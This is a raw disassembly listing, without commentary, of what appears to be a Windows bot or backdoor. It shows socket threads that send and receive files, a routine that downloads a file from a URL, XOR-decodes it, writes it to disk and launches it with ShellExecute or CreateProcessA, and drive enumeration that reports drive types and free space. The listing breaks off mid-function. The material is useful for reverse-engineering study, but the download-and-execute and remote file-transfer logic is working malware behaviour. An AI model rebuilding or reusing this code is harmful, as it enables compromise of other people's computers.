push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409C75 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call ds:dword_4E2FB0 ; select test eax, eax jg short loc_416969 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_44E6EC push eax push [ebp+var_1FC] call sub_409C75 jmp loc_416A8D ; --------------------------------------------------------------------------- loc_416969: ; CODE XREF: sub_416788+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call ds:dword_4E305C ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_4169A2 push offset unk_44E704 loc_41698F: ; CODE XREF: sub_416788+49j ; sub_416788+87j ... lea eax, [ebp+var_3FC] push eax call sub_41EA60 pop ecx pop ecx jmp loc_416A90 ; --------------------------------------------------------------------------- loc_4169A2: ; CODE XREF: sub_416788+200j push edi call ds:dword_4E3060 ; closesocket cmp [ebp+arg_0], esi jz loc_416A54 mov edi, 400h loc_4169B7: ; CODE XREF: sub_416788+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_4169C4 mov [ebp+var_4], eax loc_4169C4: ; CODE XREF: sub_416788+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_41E4B0 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:off_4F53F4 lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call ds:off_4F53BC push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call ds:dword_4E3018 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call ds:dword_4E2FE0 ; recv cmp eax, ebx jl loc_416AE9 mov eax, [ebp+var_4] cmp eax, ebx jl loc_416AE9 sub [ebp+arg_0], eax jnz loc_4169B7 mov edi, [ebp+var_18] loc_416A54: ; CODE XREF: sub_416788+224j push [ebp+var_8] call ds:off_4F533C push [ebp+var_C] push [ebp+var_10] call sub_41727E pop ecx pop ecx push eax push [ebp+var_44] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset unk_44E728 push eax call sub_41EA60 loc_416A8D: ; CODE XREF: sub_416788+1DCj add esp, 14h loc_416A90: ; CODE XREF: sub_416788+215j cmp [ebp+var_50], esi jnz short loc_416AB5 push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409C75 add esp, 14h loc_416AB5: ; CODE XREF: sub_416788+30Bj lea eax, [ebp+var_3FC] push eax call sub_415A3C cmp edi, esi pop ecx jbe short loc_416ACD push edi call ds:dword_4E3060 ; closesocket loc_416ACD: ; CODE XREF: sub_416788+33Cj push [ebp+var_1F8] call ds:dword_4E3060 ; closesocket push [ebp+var_58] call sub_40B9A7 pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_416AE9: ; CODE XREF: sub_416788+2AFj ; sub_416788+2BAj push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_44E754 push eax push [ebp+var_1FC] call sub_409C75 push offset dword_44E76C call sub_415A3C add esp, 18h push [ebp+var_1F8] call ds:dword_4E3060 ; closesocket push [ebp+var_58] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_416788 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B2D proc near ; DATA XREF: sub_401C87+77Eo var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_41EF80 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd xor esi, esi xor ebx, ebx inc esi push 104h mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push eax mov [ebp+var_8], ebx call ds:dword_4F5348 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset dword_44E784 push eax call sub_41EA60 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:off_4F53C0 cmp eax, 0FFFFFFFFh jnz short loc_416BB7 push offset unk_44E78C jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BB7: ; CODE XREF: sub_416B2D+81j push eax call ds:off_4F533C lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_41E490 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_416BDF push offset unk_44E7C0 jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BDF: ; CODE XREF: sub_416B2D+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_416541 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_416C10 push offset unk_44E7EC loc_416BFD: ; CODE XREF: sub_416B2D+88j ; sub_416B2D+B0j lea eax, [ebp+var_4C4] push eax call sub_41EA60 pop ecx pop ecx jmp loc_416D0A ; --------------------------------------------------------------------------- loc_416C10: ; CODE XREF: sub_416B2D+C9j mov esi, 1000h loc_416C15: ; CODE XREF: sub_416B2D+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call ds:dword_4E2FE0 ; recv mov edi, eax cmp edi, ebx jz loc_416CDC cmp edi, 0FFFFFFFFh jz short loc_416C7D push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4211C0 add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call ds:dword_4E2FC4 ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call ds:dword_4E3018 ; send jmp short loc_416C15 ; --------------------------------------------------------------------------- loc_416C7D: ; CODE XREF: sub_416B2D+118j lea eax, [ebp+var_4C4] push offset dword_44E80C push eax call sub_41EA60 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_409C75 lea eax, [ebp+var_4C4] push eax call sub_415A3C push [ebp+var_4] call sub_41BCF0 add esp, 24h push [ebp+arg_0] call ds:dword_4E3060 ; closesocket push [ebp+var_1C] call sub_40B9A7 pop ecx push 1 call ds:dword_4F53A0 ; ExitThread loc_416CDC: ; CODE XREF: sub_416B2D+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_41727E push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_4C4] push offset unk_44E824 push eax call sub_41EA60 add esp, 1Ch loc_416D0A: ; CODE XREF: sub_416B2D+DEj cmp [ebp+var_14], ebx jnz short loc_416D2F push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_409C75 add esp, 14h loc_416D2F: ; CODE XREF: sub_416B2D+1E0j lea eax, [ebp+var_4C4] push eax call sub_415A3C cmp [ebp+var_4], ebx pop ecx jz short loc_416D4A push [ebp+var_4] call sub_41BCF0 pop ecx loc_416D4A: ; CODE XREF: sub_416B2D+212j cmp [ebp+arg_0], ebx jbe short loc_416D58 push [ebp+arg_0] call ds:dword_4E3060 ; closesocket loc_416D58: ; CODE XREF: sub_416B2D+220j push [ebp+var_1C] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_416B2D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D68 proc near ; DATA XREF: sub_401C87+6327o ; sub_401C87+6B4Fo var_570 = qword ptr -570h var_564 = qword ptr -564h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] rep movsd xor edi, edi xor esi, esi inc edi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push ds:dword_4E2F78 call ds:dword_4E2ECC ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_4171E1 push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call ds:off_4F53C0 cmp eax, edi mov [ebp+var_20], eax jnb short loc_416E2F lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_44E850 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_416E12 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409C75 add esp, 14h loc_416E12: ; CODE XREF: sub_416D68+88j lea eax, [ebp+var_510] push eax call sub_415A3C push [ebp+var_48] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_416E2F: ; CODE XREF: sub_416D68+68j xor edi, edi call ds:dword_4F537C ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_41BE40 pop ecx mov [ebp+var_1C], eax loc_416E49: ; CODE XREF: sub_416D68+1A9j push 200h lea eax, [ebp+var_510] push esi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call ds:dword_4E2ED4 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_416E8D push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_417247 pop ecx pop ecx loc_416E8D: ; CODE XREF: sub_416D68+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call ds:dword_4F53B4 ; WriteFile cmp edi, ebx jnb short loc_416ECB mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_416EB5 mov eax, [ebp+arg_0] loc_416EB5: ; CODE XREF: sub_416D68+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_41FBF0 add esp, 0Ch loc_416ECB: ; CODE XREF: sub_416D68+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_416ED8 cmp edi, [ebp+var_3C] ja short loc_416F17 loc_416ED8: ; CODE XREF: sub_416D68+169j mov eax, edi shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_455D00 cmp [ebp+var_44], 1 jz short loc_416F00 push offset unk_44E878 jmp short loc_416F05 ; --------------------------------------------------------------------------- loc_416F00: ; CODE XREF: sub_416D68+18Fj push offset unk_44E8A0 loc_416F05: ; CODE XREF: sub_416D68+196j push eax call sub_41EA60 add esp, 10h cmp [ebp+arg_0], esi ja loc_416E49 loc_416F17: ; CODE XREF: sub_416D68+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_416F6C cmp edi, [ebp+var_3C] jz short loc_416F6C push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_44E8C8 push eax call sub_41EA60 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409C75 lea eax, [ebp+var_510] push eax call sub_415A3C add esp, 28h loc_416F6C: ; CODE XREF: sub_416D68+1B9j ; sub_416D68+1BEj call ds:dword_4F537C ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:off_4F533C push [ebp+var_1C] call sub_41C9D0 cmp [ebp+var_38], esi pop ecx jz short loc_416FF6 lea eax, [ebp+var_148] push eax call sub_4010AA cmp eax, [ebp+var_38] pop ecx jz short loc_416FF6 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_44E8F4 push eax call sub_41EA60 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409C75 lea eax, [ebp+var_510] push eax call sub_415A3C add esp, 28h loc_416FF6: ; CODE XREF: sub_416D68+236j ; sub_416D68+248j cmp [ebp+var_14], esi jz loc_41722E cmp [ebp+var_44], 1 push ecx lea eax, [ebp+var_148] push ecx jz loc_4170F1 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_43C490 fstp [esp+564h+var_564] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul ds:dbl_43C490 fstp [esp+570h+var_570] push offset unk_44E91C push eax call sub_41EA60 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_417071 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409C75 add esp, 14h loc_417071: ; CODE XREF: sub_416D68+2E7j lea eax, [ebp+var_510] push eax call sub_415A3C cmp [ebp+var_40], 1 pop ecx jnz loc_41722E push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen_2 ; "open" push esi call ds:dword_4E2F34 cmp [ebp+var_30], esi jnz loc_41722E lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_44E95C push eax call sub_41EA60 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409C75 lea eax, [ebp+var_510] push eax call sub_415A3C add esp, 24h jmp loc_41722E ; --------------------------------------------------------------------------- loc_4170F1: ; CODE XREF: sub_416D68+2A3j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_43C490 fstp [esp+564h+var_564] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul ds:dbl_43C490 fstp [esp+570h+var_570] push offset unk_44E978 push eax call sub_41EA60 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_417151 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409C75 add esp, 14h loc_417151: ; CODE XREF: sub_416D68+3C7j lea eax, [ebp+var_510] push eax call sub_415A3C push 10h lea eax, [ebp+var_10] push esi push eax call sub_41E4B0 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_41E4B0 add esp, 1Ch lea eax, [ebp+var_10] mov [ebp+var_310], edi xor edi, edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi inc edi push eax push esi mov [ebp+var_304], offset dword_4EABF8 mov [ebp+var_2E4], edi mov [ebp+var_2E0], si call ds:dword_4F5340 ; CreateProcessA cmp eax, edi jnz short loc_4171D3 call ds:dword_4E2F20 ; WSACleanup call sub_418EAE push esi call ds:off_4F5338 loc_4171D3: ; CODE XREF: sub_416D68+457j lea eax, [ebp+var_148] push eax push offset unk_44E9BC jmp short loc_4171ED ; --------------------------------------------------------------------------- loc_4171E1: ; CODE XREF: sub_416D68+45j lea eax, [ebp+var_248] push eax push offset unk_44E9F0 loc_4171ED: ; CODE XREF: sub_416D68+477j lea eax, [ebp+var_510] push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_417221 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409C75 add esp, 14h loc_417221: ; CODE XREF: sub_416D68+497j lea eax, [ebp+var_510] push eax call sub_415A3C pop ecx loc_41722E: ; CODE XREF: sub_416D68+291j ; sub_416D68+31Aj ... push [ebp+var_18] call ds:dword_4E2FFC ; InternetCloseHandle push [ebp+var_48] call sub_40B9A7 pop ecx push esi call ds:dword_4F53A0 ; ExitThread sub_416D68 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417247 proc near ; CODE XREF: sub_416D68+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_417263 loc_417253: ; CODE XREF: sub_417247+1Aj mov dl, ds:byte_43F098 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_417253 locret_417263: ; CODE XREF: sub_417247+Aj retn sub_417247 endp ; =============== S U B R O U T I N E ======================================= sub_417264 proc near ; CODE XREF: sub_401C87+58C2p ; sub_401C87+5A31p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_421420 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_417264 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41727E proc near ; CODE XREF: sub_410287+462p ; sub_410287+5FEp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4EABFC push 0 push edi call sub_41E4B0 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_4172A3: ; CODE XREF: sub_41727E+5Bj ; sub_41727E+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4214F0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_421480 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_4172E1 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_4172A3 mov byte ptr [esi], 2Ch inc esi jmp short loc_4172A3 ; --------------------------------------------------------------------------- loc_4172E1: ; CODE XREF: sub_41727E+4Bj mov eax, edi jmp short loc_4172EA ; --------------------------------------------------------------------------- loc_4172E5: ; CODE XREF: sub_41727E+72j mov cl, [esi] mov [eax], cl inc eax loc_4172EA: ; CODE XREF: sub_41727E+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_4172E5 and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_41727E endp ; =============== S U B R O U T I N E ======================================= sub_4172FC proc near ; CODE XREF: sub_4174B1+51p ; sub_4174B1+87p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4E3028 ; GetDriveTypeA sub eax, 0 jz short loc_41733F dec eax jz short loc_417339 dec eax dec eax jz short loc_417333 dec eax jz short loc_41732D dec eax jz short loc_417327 dec eax jz short loc_417321 mov eax, offset a?_0 ; "?" retn ; --------------------------------------------------------------------------- loc_417321: ; CODE XREF: sub_4172FC+1Dj mov eax, offset off_44EA20 retn ; --------------------------------------------------------------------------- loc_417327: ; CODE XREF: sub_4172FC+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_41732D: ; CODE XREF: sub_4172FC+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_417333: ; CODE XREF: sub_4172FC+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_417339: ; CODE XREF: sub_4172FC+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_41733F: ; CODE XREF: sub_4172FC+Dj mov eax, offset aUnknown_1 ; "Unknown" retn sub_4172FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417345 proc near ; CODE XREF: sub_41738D+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, ds:dword_4E2EB8 test eax, eax jz short loc_41737A lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_41737A: ; CODE XREF: sub_417345+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_417345 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41738D proc near ; CODE XREF: sub_4174B1+17p ; sub_41B6C1+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_417345 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_417467 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_417467 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_417467 mov edi, 400h push 0 push edi push [ebp+var_14] push [ebp+var_18] call sub_421570 push edx push eax call sub_41727E push eax mov esi, 80h push offset aSkb ; "%sKB" lea eax, [ebp+var_198] push esi push eax call sub_41EC30 add esp, 18h push 0 push edi push [ebp+var_C] push [ebp+var_10] call sub_421570 push edx push eax call sub_41727E push eax push offset aSkb_0 ; "%sKB" lea eax, [ebp+var_118] push esi push eax call sub_41EC30 add esp, 18h push 0 push edi push [ebp+var_4] push [ebp+var_8] call sub_421570 push edx push eax call sub_41727E push eax push offset aSkb_1 ; "%sKB" lea eax, [ebp+var_98] push esi push eax call sub_41EC30 jmp short loc_41749A ; --------------------------------------------------------------------------- loc_417467: ; CODE XREF: sub_41738D+2Cj ; sub_41738D+3Bj ... lea eax, [ebp+var_198] push offset aFailed ; "failed" push eax call sub_41EA60 lea eax, [ebp+var_118] push offset aFailed_0 ; "failed" push eax call sub_41EA60 lea eax, [ebp+var_98] push offset aFailed_1 ; "failed" push eax call sub_41EA60 loc_41749A: ; CODE XREF: sub_41738D+D8j mov eax, [ebp+arg_0] add esp, 18h lea esi, [ebp+var_198] mov edi, eax push 60h pop ecx rep movsd pop edi pop esi leave retn sub_41738D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174B1 proc near ; CODE XREF: sub_417583+17p ; sub_417583+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_41738D push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed_2 ; "failed" rep movsd push eax call sub_41F7E0 add esp, 10h test eax, eax jnz short loc_417524 push ebx push ebx call sub_4172FC pop ecx push eax push offset unk_44EA84 lea eax, [ebp+var_500] push 200h push eax call sub_41EC30 add esp, 14h jmp short loc_417558 ; --------------------------------------------------------------------------- loc_417524: ; CODE XREF: sub_4174B1+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4172FC pop ecx push eax push offset unk_44EAC0 lea eax, [ebp+var_500] push 200h push eax call sub_41EC30 add esp, 20h loc_417558: ; CODE XREF: sub_4174B1+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 lea eax, [ebp+var_500] push eax call sub_415A3C add esp, 18h pop edi pop esi pop ebx leave retn sub_4174B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417583 proc near ; CODE XREF: sub_401C87+250Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_4175A4 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4174B1 add esp, 10h jmp short loc_417603 ; --------------------------------------------------------------------------- loc_4175A4: ; CODE XREF: sub_417583+9j push esi push edi push ebx push ebx call ds:dword_4E2F30 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_41BE40 pop ecx mov edi, eax push edi push esi call ds:dword_4E2F30 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_4175FA loc_4175C8: ; CODE XREF: sub_417583+75j push offset aA_2 ; "A:\\" push esi call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_4175EB push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4174B1 add esp, 10h loc_4175EB: ; CODE XREF: sub_417583+54j push esi call sub_41BC70 lea esi, [esi+eax+1] pop ecx cmp [esi], bl jnz short loc_4175C8 loc_4175FA: ; CODE XREF: sub_417583+43j push edi call sub_41C9D0 pop ecx pop edi pop esi loc_417603: ; CODE XREF: sub_417583+1Fj pop ebx pop ebp retn sub_417583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417606 proc near ; DATA XREF: sub_401C87+6935o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_41BC70 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_41765B lea eax, [ebp+var_114] push eax call sub_41BC70 pop ecx mov [ebp+eax+var_115], bl loc_41765B: ; CODE XREF: sub_417606+3Fj lea eax, [ebp+var_218] push eax push offset unk_44EB00 lea eax, [ebp+var_49C] push 200h push eax call sub_41EC30 add esp, 10h cmp [ebp+var_8], ebx jnz short loc_4176A0 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_409C75 add esp, 14h loc_4176A0: ; CODE XREF: sub_417606+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_41771E push eax lea eax, [ebp+var_49C] push offset dword_44EB28 push eax call sub_41EA60 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_4176FE push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_409C75 add esp, 14h loc_4176FE: ; CODE XREF: sub_417606+D6j lea eax, [ebp+var_49C] push eax call sub_415A3C push [ebp+var_10] call sub_40B9A7 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx sub_417606 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41771E proc near ; CODE XREF: sub_417606+B9p ; sub_41771E+9Cp var_548 = byte ptr -548h var_348 = byte ptr -348h var_244 = byte ptr -244h var_140 = byte ptr -140h var_114 = byte ptr -114h var_113 = byte ptr -113h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 548h push ebx push esi push edi mov esi, 104h 